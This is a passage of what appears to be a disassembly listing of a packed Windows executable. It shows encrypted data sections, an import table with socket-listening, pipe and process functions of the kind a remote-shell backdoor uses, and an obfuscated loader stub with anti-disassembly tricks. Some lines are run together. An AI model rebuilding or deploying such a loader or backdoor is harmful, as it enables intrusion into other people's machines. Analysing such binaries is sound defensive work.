dword_4EED00 dd 0 ; sub_4369D0+4Bw ...
byte_4EED04 db 0 ; DATA XREF: sub_40D9FEr sub_40D9FE+9w
align 4
dword_4EED08 dd 0 ; sub_4349B0+A4w ...
dword_4EED0C dd 0 ; sub_434B40+1EDw ...
dword_4EED10 dd 0 ; sub_420960+32r ...
dword_4EED14 dd 0 ; sub_41FEE0+1Ao ...
align 10h
dword_4EED20 dd 0 ; sub_41EF20+109r ...
dd 3Fh dup(0)
dword_4EEE20 dd 0 ; sub_424040+7r ...
dword_4EEE24 dd 0 ; seg000:00425F4Aw ...
align 10h
word_4EEE30 dw 0 ; DATA XREF: seg000:00425F9Aw
; seg000:004260F3w ...
align 4
dd 2 dup(0)
dword_4EEE3C dd 0 ; sub_426230+35w ...
byte_4EEE40 db 0 ; DATA XREF: sub_4262B0+1CEw
; sub_4262B0+21Aw ...
align 4
dd 3Fh dup(0)
byte_4EEF40 db 0 ; DATA XREF: seg000:00425EABw
; sub_426230+22w
byte_4EEF41 db 0 ; DATA XREF: sub_41DC60+92r
; seg000:00425F29r ...
align 4
dd 40h dup(0)
dword_4EF044 dd 0 ; sub_426230+3Fw ...
dword_4EF048 dd 0 ; sub_422D50+9r ...
dword_4EF04C dd 0 ; sub_422240+4A4r ...
dword_4EF050 dd 0 ; sub_422240+5B2w ...
dword_4EF054 dd 0 ; sub_422240+468r ...
dword_4EF058 dd 0 ; sub_422120+3Ew ...
dword_4EF05C dd 0 ; seg000:loc_4220C6r ...
dword_4EF060 dd 0 ; sub_421BE0+5Cr ...
dword_4EF064 dd 0 ; seg000:00420DFFw ...
dword_4EF068 dd 0 ; sub_42C0C0:loc_42C0D2r ...
dword_4EF06C dd 0 ; sub_41EF20+4Dr ...
dd 4 dup(0)
dword_4EF080 dd 400h dup(0) ; seg002:0044FA78o
dword_4F0080 dd 0 ; sub_41EF20+Dw ...
dword_4F0084 dd 0 ; sub_432F50+Er
dword_4F0088 dd 0 ; sub_4265E0+16w ...
dword_4F008C dd 0 ; sub_41FDB0:loc_41FE1Ar ...
dword_4F0090 dd 0 ; sub_41FDB0+1Fr ...
dword_4F0094 dd 0 ; seg000:0041C5EFw ...
byte_4F0098 db 0 ; DATA XREF: sub_4377E0+5r
; sub_4377E0+11r ...
align 1000h
seg002 ends
; Section 4. (virtual address 000F1000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000F1000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg003 segment para public 'CODE' use32
assume cs:seg003
;org 4F1000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0F1244h, 2 dup(0)
dd 0F150Ah, 0F14A4h, 0F103Ch, 2 dup(0)
dd 0F1E4Eh, 0F129Ch, 5 dup(0)
dd 850A4604h, 0B9F94064h, 0D8B554C9h, 0B01CF0C1h, 0EE166BFEh
dd 76CECDFDh, 3B0C72AAh, 0E522F5A4h, 790A62D3h, 143B7ED6h
dd 0B9B7597Bh, 0CA7876AAh, 0C0E4FAB8h, 0D9EF6F99h, 6B2C3470h
dd 55A89A4Ch, 2C1FC9E2h, 0CBE664DFh, 617925E9h, 331FA793h
dd 0CB158DEAh, 0C7DACB4Eh, 0F2EF2E5Dh, 2439F3B7h, 0DEBB56FDh
dd 8B220F42h, 6819003Fh, 75FAB40Ch, 4CF9F52Ah, 3754477Fh
dd 188086C5h, 0D2083883h, 1FD861B2h, 70BD24B3h, 5E59EA56h
dd 49B56400h, 4E93CDE4h, 398CF596h, 0F284B43Dh, 0F16D0954h
dd 0C3C5F783h, 0C8141CCh, 0A4792A21h, 0F8DFC89Dh, 78C48E51h
dd 502C295Ch, 0C7F30C8Eh, 0F795497Dh, 8094361Ch, 4FB92F17h
dd 0E6B44FCDh, 772507D0h, 67FA0C2Fh, 7CBF217Eh, 6F3421ABh
dd 0E62DAE0Ah, 8ADCB32h, 5669FBE7h, 6A62478Fh, 1730946Bh
dd 26CEBBBEh, 0B29E4AD2h, 0E3E86CE5h, 0CCB98117h, 54C24DD0h
dd 6EEB4B0h, 106B690Ch, 76AB1535h, 1858D4C4h, 8FA6CC0Eh
dd 2FFCA5DAh, 0C153CF02h, 1E362AEDh, 0AD590B44h, 0A13CFD6Ch
dd 245FDB57h, 2440F9F9h, 4721D668h, 562891EEh, 3137399Dh
dd 6CCD3E7Ah, 0AC925D88h, 58FA7CA5h, 962E45F7h, 0CEF21356h
dd 0C1DC1EB3h, 0BA8BF333h, 88826B0Fh, 2E2E28DEh, 93611BC6h
dd 895458A5h, 13366CA0h, 69C98ACDh, 0E0C0DA9h, 49F4EB7Eh
dd 678BF611h, 0F36CBCE2h, 0C9B9C8DDh, 0BF9318B3h, 351C092Eh
dd 24C155Bh, 38224312h, 84111A30h, 0B39B838Dh, 0A86A0244h
dd 9060F594h, 6C717115h, 5F8CD1A2h, 2982744Ch, 2188F42Fh
dd 0B4F0DA51h, 213D4917h, 0C57174FBh, 13548A88h, 6DF686E3h
dd 809C9B44h, 0E36B6F1Ch, 0F19790EFh, 0AFA8D649h, 924FE73Bh
dd 13261A33h, 50C9675Eh, 10ACEEDCh, 0E7B49CBBh, 2ACC9986h
dd 51485BF0h, 363C07D2h, 2B5863DAh, 7DD3FE3Ch, 0
dd 0C2B7A946h, 7D8CA8D3h, 9B603C2Fh, 0C3976AA2h, 0D322E709h
dd 4DA40988h, 968CFF0h, 764436E4h, 28C1DE5Dh, 7F16C81Ch
dd 0A9C1B81Ah, 3CEE5F1Ch, 30E289D8h, 0B09CF76h, 6485994Ah
dd 27456804h, 30F9B8D2h, 3F81FD1Ch, 3E9B74C7h, 66F8D25Ah
dd 0CFF9223Ah, 0
dd 9B706097h, 22814366h
dword_4F12A4 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4369D0+3DAr
dword_4F12A8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4369D0+D9r
dword_4F12AC dd 7C811562h ; resolved to->KERNEL32.GetLocaleInfoW ; sub_436680+8Br ...
dd 838B4B62h, 1863F844h, 0CB7E04Fh, 3F02F4ADh, 44D1982Dh
dd 63E2A65Eh
dword_4F12C8 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_4306D0+9r
dword_4F12CC dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; seg000:0042E1DEr ...
dd 0FE9E8C92h, 6ECF8482h, 0E6539136h
dword_4F12DC dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsW ; sub_42C7E0+6Dr
dword_4F12E0 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_42C7E0+171r
dword_4F12E4 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW ; sub_42C7E0+150r
dd 57F6847Fh
dword_4F12EC dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4F12F0 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; seg000:0042BCE5r ...
dword_4F12F4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40132F+29r ...
dword_4F12F8 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; seg000:00407E59r ...
dword_4F12FC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40A472+9Dr ...
dd 84D8E7A8h, 20F52F72h, 5215C613h
dword_4F130C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4014F8:loc_401A06r ...
dword_4F1310 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4014F8:loc_401742r ...
dword_4F1314 dd 3A7574h ; seg000:00417FA9r ...
dword_4F1318 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_4F131C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; seg000:0040498Ar ...
dd 305525FAh
dword_4F1324 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess dd 8D5BE9F7h, 7C8286EEh, 9D672225h
dword_4F1334 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_420150+8r
dd 0EF66CA41h, 0E642DECh
dword_4F1340 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; seg000:loc_4054B0r ...
dword_4F1344 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread dd 3348C7C0h, 30330B03h, 0A616F9B1h
dword_4F1354 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; seg000:00431CF8r ...
dword_4F1358 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; seg000:00417D7Dr ...
dd 17677F9Ch
dword_4F1360 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_41F0E0+35r ...
dword_4F1364 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_41F070+35r ...
dword_4F1368 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4F136C dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40A146+22Fr ...
dword_4F1370 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40AA3E+65r ...
dword_4F1374 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40F788+25r ...
dd 0EF492061h, 57C05DF8h
dword_4F1380 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; seg000:0040E72Ar ...
dword_4F1384 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_40E268+116r ...
dd 0BE425D35h, 6848B0ABh
dword_4F1390 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_419602+79r
dword_4F1394 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_412160+23r ...
dd 0A8A40B41h, 28F10AA2h, 36E6802Ch, 9881BFB5h, 0BAC68A4Ah
dd 40B5F08Ah
dword_4F13B0 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; seg000:00411282r
dword_4F13B4 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_4F13B8 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42B770+3Cr
dd 104DA893h, 3F8C940Fh, 0FEBB209Bh
dword_4F13C8 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4161A7+Dr ...
dd 4214D851h, 2ACFBEA5h
dword_4F13D4 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4F13D8 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 60A859F7h, 0F38FDDB1h, 68C879DEh, 0CA90F945h, 51E94A32h
dd 38E4C0E3h, 1EA5CC14h
dword_4F13F8 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA dd 97F52399h, 0BB9DD368h, 16F04368h, 87DCDABDh, 70B4953Fh
dd 56E4D0D1h
dword_4F1414 dd 7C85E9BBh ; resolved to->KERNEL32.HeapValidate ; sub_421F70+39r
dd 7EC49FCFh, 84CAED3Eh
dword_4F1420 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4F1424 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrement ; sub_41FEE0+6Dr ...
dword_4F1428 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_420960+2Cr ...
dd 687CBED2h, 0B71FE26Bh
dword_4F1434 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4F1438 dd 7C859B72h ; resolved to->KERNEL32.DebugBreak dd 12B63939h, 67830239h
dword_4F1444 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_4219A0+16r ...
dd 7F78DF1Fh
dword_4F144C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_421D10+11Br ...
dword_4F1450 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_421D10+1B0r ...
dword_4F1454 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; seg000:004220B5r ...
dword_4F1458 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroy ; seg000:004220E2r
dword_4F145C dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4F1460 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; seg000:004220A0r ...
dword_4F1464 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_422E60+A7r
dd 64431F68h
dword_4F146C dd 7C809BC5h ; resolved to->KERNEL32.TlsSetValue ; sub_425C30+50r ...
dword_4F1470 dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_4F1474 dd 7C8136D7h ; resolved to->KERNEL32.TlsFreedword_4F1478 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_4F147C dd 7C809740h ; resolved to->KERNEL32.TlsGetValue ; seg000:00425CECr
dd 9A1A2C23h, 0F1758B7Eh, 0F7314EFEh, 33C1082Ah, 8846DC89h
dd 3314D535h
dword_4F1498 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_437F60+33r
dd 0B7F57D68h, 0
dword_4F14A4 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; seg000:004378AEr
dword_4F14A8 dd 71AB46C9h ; resolved to->WS2_32.getsockopt ; seg000:004378A8r
dword_4F14AC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; seg000:004378A2r
dword_4F14B0 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; seg000:00413894r ...
dword_4F14B4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4146B0+8Cr ...
dword_4F14B8 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_41037E+8Er ...
dword_4F14BC dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; seg000:0043788Ar
dword_4F14C0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_4146B0+70r ...
dword_4F14C4 dd 71AB3E00h ; resolved to->WS2_32.bind ; seg000:0043787Er
dword_4F14C8 dd 71AB88D3h ; resolved to->WS2_32.listen ; seg000:00437878r
dword_4F14CC dd 71AC1028h ; resolved to->WS2_32.accept ; seg000:00437872r
dword_4F14D0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_410301+68r ...
dword_4F14D4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_410301+41r ...
dword_4F14D8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; seg000:00437860r
dword_4F14DC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; seg000:0040FD17r ...
dword_4F14E0 dd 71AB615Ah ; resolved to->WS2_32.recv ; seg000:0040FEAEr ...
dword_4F14E4 dd 71AB3B91h ; resolved to->WS2_32.socket ; seg000:0040FD21r ...
dword_4F14E8 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40EE3A+182r ...
dword_4F14EC dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4F14F0 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; seg000:0040EE05r ...
dword_4F14F4 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40CDDB+4Cr ...
dd 0
dd 0A2F2003Dh, 54F6D256h, 0F73EA362h, 8AD20000h, 6955BB55h
dd 6AC89838h, 2960000h, 9A771837h, 7D00C6h, 0E101BA7Ah
dd 41DD7240h, 94D3F6h, 5565001Bh, 6EA6AAC7h, 2F19C17Ah
dd 440078h, 9293F4Fh, 0C803F6A2h, 0C04A55DDh, 91DBh, 9AAF0124h
dd 32E4D1D2h, 3E475FB3h, 6E3234B5h, 7CB3BACh, 1590000h
dd 4E8AFA07h, 45F2C73Eh, 0B148A908h, 0C32FA0B7h, 99A8B0h
dd 0BFE001C2h, 16F45D72h, 70662500h, 9B9h, 97B5011Ah, 35CC7BA9h
dd 27AF78ECh, 2870h, 60CC013Eh, 2AA05573h, 0E246CE1h, 7384AEDDh
dd 1260000h, 84FBDEF4h, 257E1694h, 7502B484h, 64A19154h
dd 4A0000h, 0BDD9FE11h, 40E01C9Fh, 0E172CF85h, 570000h
dd 99CAC9FEh, 8AF95006h, 23FBF3h, 0D6201EFh, 0F4C26466h
dd 0B93A4155h, 0F80074h, 0C0A3D0EBh, 2D1AAE84h, 1A6718BEh
dd 25772F87h, 657AB3h, 3F030028h, 345B5FC9h, 0F30F34h
dd 5EDE0268h, 53AAA0B5h, 831246CFh, 103BC37Dh, 0B2FABF0Ch
dd 10D0000h, 55E5B4B4h, 0D9D11497h, 89F480BCh, 4D41DEC6h
dd 0F5FCh, 561402CEh, 6050AE9Ah, 49288725h, 0C09F816Ah
dd 4FA18286h, 3F009Fh, 30FB584Ah, 0E5F54C17h, 110A0DCDh
dd 16D0000h, 74C82777h, 9F3A507h, 87B7A0E9h, 29F0000h
dd 28462B89h, 0C05544F7h, 564C01C3h, 0F5B44h, 0D0C90165h
dd 56496293h, 0BDAF2ECCh, 705Dh, 0E16301DDh, 0C449307Ch
dd 0EAF608h, 0D2300CEh, 7A1DF161h, 826E2B9Ch, 0D0116825h
dd 3E07h, 9480011Ch, 0A649BE8h, 0EE7B0ABBh, 7D2C904Ch
dd 1750000h, 66D4F2EBh, 1DA160F8h, 0BEEC64E1h, 7E007Ch
dd 0C08445D6h, 2A2DF800h, 6C96h, 0EC6001C1h, 5640BF67h
dd 1B5959AAh, 0F6D58DD9h, 60D194D2h, 0B14Ah, 9B960066h
dd 81DA6816h, 0BF2DB874h, 87A191F7h, 0F1F25979h, 1C5Ah
dd 5C3001ABh, 2086A9F1h, 98C2C2E2h, 777E29D5h, 0D560427Ah
dd 19E2D360h, 2303B003h, 9379F389h, 0EA9B819Dh, 0F3E4h
dd 8DAE0055h, 0EED32B0Fh, 296AABB6h, 99251EFCh, 93D62CC6h
dd 419C98h, 995301E4h, 0F0CE0DA9h, 0D286813Bh, 7CEBD9B7h
dd 0E53953F3h, 21800D8h, 67210D91h, 0E8229653h, 2DF0000h
dd 79822F4Eh, 55683F5Fh, 2A7009Eh, 5C12DE37h, 1959307Eh
dd 0F14978AAh, 0A2355371h, 340099h, 0A087416Eh, 46168189h
dd 5F62E8h, 0B99F02D2h, 8797A66Fh, 0D8735927h, 5E55DF90h
dd 9CE293F0h, 29E0005h, 272C52D9h, 7E5B8B3Dh, 0EF4D581Dh
dd 72DAE52Fh, 630000h, 5D440CD8h, 8D824FD2h, 627F128Eh
dd 6CAB7Dh, 486900F7h, 0CB34E9E8h, 61FE7749h, 0C794592Ah
dd 0F18D9Ch, 0B3300043h, 4130686h, 6BCEC07Bh, 16E0000h
dd 0CBB8D41h, 767790F3h, 7952CCCCh, 4309h, 78CA00FBh, 6E5386D3h
dd 9DBC49E7h, 10B2E76Eh, 1120000h, 7706385Eh, 0D0D8F3DAh
dd 7C3307h, 28F00090h, 0CF9D6569h, 0E76FEBh, 91DC008Ah
dd 575C4D2Ah, 0B4DEF897h, 35646830h, 0F98A9B3Bh, 303Fh
dd 2DA50089h, 0DF83AE06h, 0F1EEFC3Bh, 8CFD7845h, 76F36E34h
dd 0A5850603h, 9D005Eh, 336D8B8h, 0C53E6A43h, 20C09EDEh
dd 94009Ch, 0DC979EDAh, 0F2CC241Ah, 9A48D2E7h, 0F310h
dd 1538026Ah, 21557264h, 9870DAFCh, 7F723922h, 2410000h
dd 0E9E3E61Bh, 0CEB1597Ch, 0D7136DBAh, 7B3C1CA4h, 67447A9Ch
dd 2CC00C7h, 0E26FCABFh, 0E76BEEh, 0C9700A87h, 0CA1CA73Eh
dd 33FC8E0Fh, 3606h, 0B53100B8h, 629B2B97h, 6E3BAE54h
dd 3E6CCAA8h, 255E6328h, 8505B331h, 3FB6h, 944A011Bh, 0A621E36Fh
dd 8742E0BFh, 30CEh, 351F0206h, 0B65A8169h, 357E312h, 50CCFE1Dh
dd 33AA88C6h, 41CDC12h, 20700FDh, 4D286DF8h, 5E7B88E2h
dd 3F080DF1h, 6A673BBCh, 2A40D4A5h, 2D31DB21h, 0AF0048h
dd 6C405CD6h, 0ACEC2067h, 0EDCF383Eh, 3F88h, 0DB670193h
dd 0F47EF383h, 4D206164h, 0B4C2h, 88F2018Ch, 60B85EB1h
dd 0C760ACD8h, 2B00000h, 8BA0212Dh, 0A120FB45h, 49386E2Eh
dd 5EE2D7h, 52AA01D6h, 70EDAA01h, 9C2EC666h, 710133h, 62E70035h
dd 3B0AF73Bh, 0DA1653C7h, 47CF9B9Ah, 4A8E3883h, 26C0000h
dd 3EBE88F6h, 0D38B91EFh, 477528h, 37F60114h, 4E6190BDh
dd 0DF2E09Fh, 80001Eh, 0AE387488h, 468EF979h, 475F4D73h
dd 0ACEF20CCh, 36CE1C46h, 0E1930B3Dh, 0B40097h, 79A0F065h
dd 5D5F86DBh, 3D9CBDh, 4D5202FFh, 7044AAAh, 0F3D307h, 41D9010Bh
dd 79C41740h, 99C82FB6h, 0C8ABF01Eh, 0C108B67Dh, 1F90000h
dd 0B732FBE3h, 7D6E302h, 0B0F477B3h, 12000BBh, 2D7C3054h
dd 0D709ACA6h, 46A2E380h, 0C016C4A8h, 18D0000h, 5BDC88D2h
dd 8603449Ah, 0C6B05D6Ah, 0FB006B32h, 490Eh, 93D901B8h
dd 57DD0CE9h, 3AB8D400h, 47DF3Ch, 0A33601B5h, 0E49C5ABCh
dd 7A377B5h, 7C32h, 947601A7h, 9AC52F6Eh, 0AB31E357h, 0AB3Bh
dd 0F3B00170h, 0FAA654CAh, 999C0D65h, 7FDCCBC4h, 0D6E6F29Ah
dd 67389488h, 15D0000h, 0C9DD91B9h, 0EC68AE66h, 84945A9Eh
dd 22F00A3h, 0B0CBF620h, 4E69DC8Ah, 1AD003Fh, 68A133D3h
dd 18D28E57h, 31EC5FEAh, 62185BDBh, 94F3F210h, 1B00000h
dd 1F315F51h, 9EBD2ECDh, 9EC8884Ah, 5FDDF0BFh, 6AB2BDF3h
dd 1500000h, 91731FC5h, 0D2C00EA1h, 57A35743h, 221993h
dd 0FD7900CAh, 0C882CD4Fh, 0CB47BD3Eh, 23B12202h, 174007Ch
dd 314DE79Ch, 750A0677h, 7EFh, 0E5360051h, 74041B27h, 6F5DC06Fh
dd 1520000h, 0DBE4E842h, 0D27ABDA6h, 0A6273952h, 1F50000h
dd 0B0EBCFC5h, 2D7E70E8h, 7B7759A3h, 35A4DF4Ah, 7B89h
dd 0BC5101AAh, 0C5F0E8F0h, 0C2C829A7h, 1AFCD4BFh, 45BCF661h
dd 5CE1C359h, 3C533Fh, 0CB270085h, 4A54AF7Bh, 0B77FF2B8h
dd 4414CEh, 8B0E0199h, 0B31CD332h, 0EBA45Eh, 6EA001A2h
dd 8273DBD5h, 0D908DB47h, 19F006Eh, 0A571245Dh, 0FB198879h
dd 19D0000h, 95CBC89Ah, 0AA1C6CA1h, 773600h, 6EFA019Bh
dd 6A56419Eh, 6DB3BD8Dh, 2BF0000h, 0EDDF5083h, 7A8CEC4Ch
dd 6DB046h, 0F58402BBh, 0B5FCE69Fh, 6692F71Ah, 0FDD0h
dd 0D34B00FAh, 0DD5EADB9h, 88E030BAh, 0A78E9596h, 50F5B5E4h
dd 2A50000h, 0DB004713h, 2E384163h, 0A4F112h, 1FAE02A2h
dd 0AF166DDh, 0E1AFh, 9E802A3h, 92D4607Ah, 2710057h, 6D2688ADh
dd 9B85F200h, 0FEA07FC4h, 2A40000h, 0F197A87h, 0BB5F93A2h
dd 0FD385Bh, 0AD800F9h, 8EBCB4EDh, 0ED00BECh, 170AC2E5h
dd 8405h, 241400BFh, 0A7AD45EEh, 0F61E76h, 230300B9h, 8F185314h
dd 1310000h, 0BC305300h, 0AF4E215Fh, 26D0000h, 7C81CE25h
dd 693C73F7h, 4D0A38A6h, 76AEh, 0B24C0115h, 39C97538h
dd 0A328C96h, 20B0035h, 6A514CB0h, 11841AACh, 27125B04h
dd 8894h, 47EA01BFh, 0DB1DF2FEh, 5146DDB7h, 0C39Bh, 0E12001C0h
dd 7043982Ch, 0A6377204h, 0F0ADh, 0C64302ADh, 5B6896FAh
dd 0D8A0D3AEh, 0DCD9B55h, 0A66DB0D6h, 485C7647h, 9E6Ah
dd 551300B2h, 0B9BB0BFEh, 70C1827Ch, 0F98C8DECh, 6B2D1AFEh
dd 1775E895h, 0B30015h, 20A6CACEh, 2A639B8Dh, 7429B187h
dd 561C01B4h, 5B71D99h, 0C71412h, 0B6EA0106h
dd 76D5012h, 1A438028h, 0D269AE3Eh, 192E6841h, 271162h
dd 0D8770108h, 0B705407Ch, 1170E2C8h, 5D2780C2h, 7D7E0900h
dd 0D02CF0C4h, 27C0000h, 0E659BBE9h, 0D8BC9E97h, 0C8792680h
dd 0AA0000h, 0D21F2E81h, 7A3C1E65h, 0F363AC8Ah, 68D91216h
dd 1530000h, 92EAD6F9h, 0A306979Fh, 5298B3E5h, 0CB15h
dd 0C4070156h, 27392C29h, 0DE072C4Bh, 78C6AD8Bh, 28B0000h
dd 56BBE95Bh, 0BD88B62Bh, 424EC853h, 591539B4h, 7BF77DD4h
dd 5D31278Eh, 0ACC9EFh, 0F2B001B2h, 0F75AB747h, 54980C22h
dd 4B33h, 0D91A01BEh, 6F335B03h, 4DA6A3FAh, 45ADCAh, 318801BDh
dd 5121C3C9h, 0BFAD1A05h, 95F6C170h, 77003Ah, 1793A309h
dd 94342304h, 0E48812C9h, 0CCBBAB9Fh, 6307h, 0F5930171h
dd 12B04EB3h, 660A85DAh, 353EB5A1h, 522B54B9h, 2610000h
dd 0B4F196CAh, 2FECE0B3h, 3DF25A1Ah, 11D0000h, 80531E55h
dd 0DC5F4D43h, 52C9B52Ah, 0D59Bh, 0D90B0021h, 23DD6908h
dd 2DC5CFDDh, 0C4326895h, 220000h, 3E22A610h, 781DA741h
dd 413B3D98h, 5D88h, 0AA80262h, 0F02BAD57h, 28795785h
dd 0CCEF5390h, 0D2B9D980h, 114FF03Eh, 0E6EB004Dh, 3DF5D209h
dd 309451B4h, 0BE42h, 69h dup(0)
seg003 ends
; Section 5. (virtual address 000F2000)
; Virtual size : 00005000 ( 20480.)
; Section size in file : 00005000 ( 20480.)
; Offset to raw data for section: 000F2000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg004 segment para public 'CODE' use32
assume cs:seg004
;org 4F2000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0CD1h dup(0)
db 0
byte_4F5345 db 3 dup(0) ; DATA XREF: seg002:00450B60o
dd 72Eh dup(0)
seg004 ends
; Section 6. (virtual address 000F7000)
; Virtual size : 0001D000 ( 118784.)
; Section size in file : 0001D000 ( 118784.)
; Offset to raw data for section: 000F7000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 4F7000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 90h
; ---------------------------------------------------------------------------
pusha
call loc_4F700A
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
jmp short loc_4F700E
; ---------------------------------------------------------------------------
loc_4F700A: ; CODE XREF: .data:004F7002j
pop ebp
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
loc_4F700E: ; CODE XREF: .data:004F7008j
call loc_4F7014
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4F7014: ; CODE XREF: .data:loc_4F700Ej
pop ebp
mov ebx, 0FFFFFFEDh
add ebx, ebp
sub ebx, 0F7000h
cmp byte ptr [ebp+4Dh], 1
jnz short loc_4F7034
mov esi, [esp+28h]
cmp esi, 1
mov [ebp+4Eh], ebx
jnz short loc_4F7065
loc_4F7034: ; CODE XREF: .data:004F7026j
lea eax, [ebp+53h]
push eax
push ebx
push dword ptr [ebp+9EDh]
lea eax, [ebp+35h]
push eax
jmp loc_4F70CA
; ---------------------------------------------------------------------------
dd 390000h, 30000h, 7C809AE4h, 3BE000h, 7C801D77h, 7C80B6A1h
dd 0
db 0
; ---------------------------------------------------------------------------
loc_4F7065: ; CODE XREF: .data:004F7032j
mov eax, 23A5C0F8h
push eax
push eax
add eax, [ebp+4Eh]
pop ebx
test eax, eax
jz short loc_4F7090
jmp short loc_4F7077
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_4F7077: ; CODE XREF: .data:004F7074j
cmp ebx, 23A5C0F8h
jz short loc_4F70B4
xor edx, edx
push esi
push 0
push esi
push dword ptr [ebp+4Eh]
call eax
pop esi
cmp esi, 0
jnz short loc_4F70B4
loc_4F7090: ; CODE XREF: .data:004F7072j
xor edx, edx
mov eax, [ebp+41h]
test eax, eax
jz short loc_4F70A0
push edx
push edx
push dword ptr [ebp+35h]
call eax
loc_4F70A0: ; CODE XREF: .data:004F7097j
mov eax, [ebp+35h]
test eax, eax
jz short loc_4F70B4
push 8000h
push 0
push dword ptr [ebp+35h]
call dword ptr [ebp+3Dh]
loc_4F70B4: ; CODE XREF: .data:004F707Dj
; .data:004F708Ej ...
pop ebx
or ebx, ebx
popa
jnz short loc_4F70C0
push 1
pop eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4F70C0: ; CODE XREF: .data:004F70B8j
xor eax, eax
neg eax
sbb eax, eax
inc eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_4F70CA: ; CODE XREF: .data:004F7043j
js loc_4F70D4
push edi
mov dl, al
pop ebx
loc_4F70D4: ; CODE XREF: .data:loc_4F70CAj
call near ptr loc_4F70E5+1
and [esi+7], eax
xor al, 5Dh
